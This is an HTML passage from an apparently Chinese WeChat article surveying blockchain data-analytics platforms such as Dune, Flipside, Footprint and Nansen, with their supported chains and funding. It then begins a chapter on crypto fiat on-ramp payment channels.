url(&#34;https://mmbiz.qpic.cn/mmbiz_png/lsjF3wt9GeNCY1PDMribiaiaAViaKXDmpVPhx5MbsUIUz0qicJZPfafq4VotrqVJhPoKVSMQnnmt3TXkC5SukB2d6Xg/640?wx_fmt=png&#34;) 0% 0% / contain;"><p style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.5em;"><strong><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Dune 提供的数据表有：</span></strong></p><p style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">1. 原始交易数据，提供区块链上所有活动的详细记录</span></p><p style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2. 项目级数据表，返回预处理后数据，用于解码的项目</span></p><p style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">3. 聚合型数据表，一种更高级的表，返回相关行业 / 主题的聚合数据。</span></p><p style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">4. 社区：与选定的组织合作以获取链下数据</span></p><p style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">5. 价格：来自第三方数据提供商的价格</span></p><p style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">6. 用户生成：在我们的数据库中构建您自己的视图、函数或表</span></p></section><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 9px;height: 9px;transform: rotatex(-180deg);margin-left: -6px;margin-top: -6px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" style="display: block;" data-w="18" src="https://wechat2rss.xlab.app/img-proxy/?k=b46a6032&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FwtNe8uhTR7CsoEUy7TibWOQ6UichTxA9W8G2TjAicWiaNXfAFDq8ibYcgMmVXI6YLNWvhJuwORian3PMuLVsJcbTN9EQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 9px;height: 9px;transform: rotate(180deg);margin-right: -6px;margin-top: -6px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="display: block;" data-w="18" src="https://wechat2rss.xlab.app/img-proxy/?k=a9f45c0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FR9dcQBfcSBYFarvxqhnvKup8sOib7ufJjwLWiaPPQKy7dhZgLx4uPbDwjYt0jMxz6ncByBaN0Xuvlm0lDEzia5jmg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><strong style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">支持的链：</strong><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum, BSC, Optimism, Polygon, Gnosis Chain, Solana 共计 6 条区块链的链上数据,数据延迟大约五分钟.</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2022 年 2 月 2 日，总部位于挪威奥斯陆的区块链分析公司 Dune Analytics 宣布完成了一笔 69,420,000 美元的 B 轮融资，估值达到 10 亿美元，正式跻身独角兽俱乐部。本轮融资的领投方是 Coatue，参投方包括 Multicoin Capital 和 Dragonfly Capital 等此前曾投资过该公司的机构。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Flipside Crypto</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Flipside 与 Dune Analytics 一样，也是通过可视化的工具以及自动生成的 API 借口，让用户能够通过简单的 SQL 语句进行复杂数据的查询，也可以复制和编辑别人已经生成的 SQL 查询。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum, Solana, Terra, Algorand 等公链网络。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2022 年 4 月 19 日，区块链数据分析公司 Flipside Crypto 宣布完成 5000 万美元融资，Republic Capital 领投，True Ventures、Galaxy Digital、Terra、Dapper Labs、M13、Blockchain Coinvestors、Collab Currency、Hashkey、Avon Ventures（隶属于 Fidelity Investments 的风险投资基金）、Lightshed、Resolute、Boston Seed、Converge、Hutt Capital、Gaingels、Commerce Ventures、Quiet、Tribe Capital 等参投。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Footprint Analytics</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Footprint 是一个综合型的数据分析平台，用于发现和可视化区块链数据，现已涵盖 17 条链及 10 万种代币的价格、500 种 DeFi 协议和 1000 多个 GameFi 项目。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">相较于 Nansen 低使用门槛但仅提供标准化信息界面，Dune Analytics 提供了自由查询但又要求分析师具备编写 PostgreSQL 语言的能力，Footprint Analytics 为用户提供了两全其美的解决方案，在给予极大的查询自由度的同时降低了使用门槛。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">平台上提供丰富的数据分析模板，支持一键分叉，帮助用户轻松创建和管理个性化的仪表板，同时 Footprint 也有对链上其他钱包地址及其活动的标记，用户可以通过维度丰富的指标来进行投资决策。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum，Arbitrum，Avalanche，Boba，BSC，Celo，Fantom，Harmony，IOTEX，Moonbeam，Moonriver，Polygon，Thundercore，Solana 等共计 17 条区块链的链上数据,数据延迟为一天。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2022 年 5 月 26 日消息，据官方推特，总部位于新加坡的区块链分析平台 Footprint Analytics 宣布完成 265 万美元 Seed+ 轮融资，Matrix Partners 领投，Redpoint、A&amp;T Capital、Hash Global、Waterdrip Capital、Lancer Capital 和 Dual Epoch Capital 跟投，在上一轮由 IOSG 牵头的融资之后，其种子轮总融资额达到 415 万美元。</span></section><h4 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>5</strong><strong>.</strong><strong> </strong><strong>数据分析平台</strong><strong>（</strong><strong>侧重交易</strong><strong>）</strong></span></h4><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>Nansen - 标签地址</strong></span></em></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Nansen 团队采用算法，人工调查，社区提交三种方法给地址做标记，现在支持共计 11 条区块链链上数据分析 ,已累计分析了 5 千万 + 的以太坊钱包地址和它们的活动，将链上数据与包含数百万个标签的数据库相结合，帮助用户更好地寻找信号和新的投资机会。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Nansen 普通版仅提供标准信息模板界面。针对机构客户对自定义链上数据查询和分析的需求，Nansen 借助 Google Cloud Platform 的 Blockchain Datasets 发布了 Nansen Institutions 产品，让专业 / 机构用户能够编写满足定制需求的 SQL Queries。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum, Arbitrum, Avalanche, BSC, Celo, Fantom, Optimism, Polygon, Ronin, Terra, Solana。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2021 年 12 月， Nansen 在 B 轮融资中筹集了 7500 万美元，公司估值为 7.5 亿美元。该轮融资由 Accel 领投，其他知名投资者还包括 GIC、Andreessen Horowitz 和 Tiger Global。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>DeFiLlama - DeFi 专精</strong></span></em></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">深耕 DeFi TVL 的数据分析平台，支持 107 个 Layer1 &amp; Layer2 网络上的，近千个 DeFi 协议的 TVL，可以用不同的指标和时间维度分类对比、查看。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">目前 DeFiLlama 也同样支持 NFT 的分析，关注不同链上不同交易市场的交易量和 Collections 种类。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Token Terminal - 传统金融指标</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">用传统的金融指标，比如 P/S 比率、P/E 比率和协议收入等分析 DeFi 项目。目前也支持对 NFT 交易市场的分析。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">TokenTerminal 包含的指标参数：总市值、流通市值、市销率、市盈率、代币交易量、总锁定价值、商品总量、收入、协议（代币持有者）收入、成本和费用、收益等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">注：由于对加密资产的价值没有相对统一的评判标准，TokenTerminal 团队认为基于区块链的应用程序在概念上与传统市场相似，代币持有者相当于股东，团队为职业经理人，项目参与方（流动性提供者或旷工）为合作员工，基于合作共赢的方式，来评估代币的价值的一种方案。</span></section><h1 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h1><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第六章    支付</strong></span></p></h2></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">1</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">出入金支付各环节参与方 </span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text"><br/></span></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">workflow</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">对于刚要进入 Web3 行业的所有人来说，入金是第一站。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">除了 OTC/P2P 入金方式之外，其他出入金过程都需要第三方支付机构的参与，</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">它通过与上述传统支付同样的过程将用户的法币转移到流动性供应商这里。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">而流动性供应商更像是传统第三方支付场景中的商家，将加密货币这种 “商品” 通过链上转移到用户的地址，同时为第三方支付机构保证加密货币流动性，这种供应商通常是中心化交易所或做市商。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">2</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">目前全球范围内的出入金支付方式</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: none;"><strong>一、</strong><strong>中</strong></span><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>心化交易所</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在一些国家地区获得牌照的中心化交易所会自己做出入金支付，用户可以通过借记卡/信用卡或银行转账直接购入加密货币。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">大多数情况下中心化交易所会搭建 P2P 撮合平台，通过 P2P 的方式让用户给中心化交易所地址入金，也因此中心化交易所入金往往费率最低。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但在一些没有 P2P 交易习惯或被法律监管明令禁止的地区如欧美地区，中心化交易所需要接入独立出入金支付机构作为底层渠道来完成用户出入金的目的。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>二、独立出入金支付机构</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Moonpay 是独立出入金龙头项目，定位是 PayPal for Web3，用户用其入金的主要方式为信用卡、借记卡、ACH 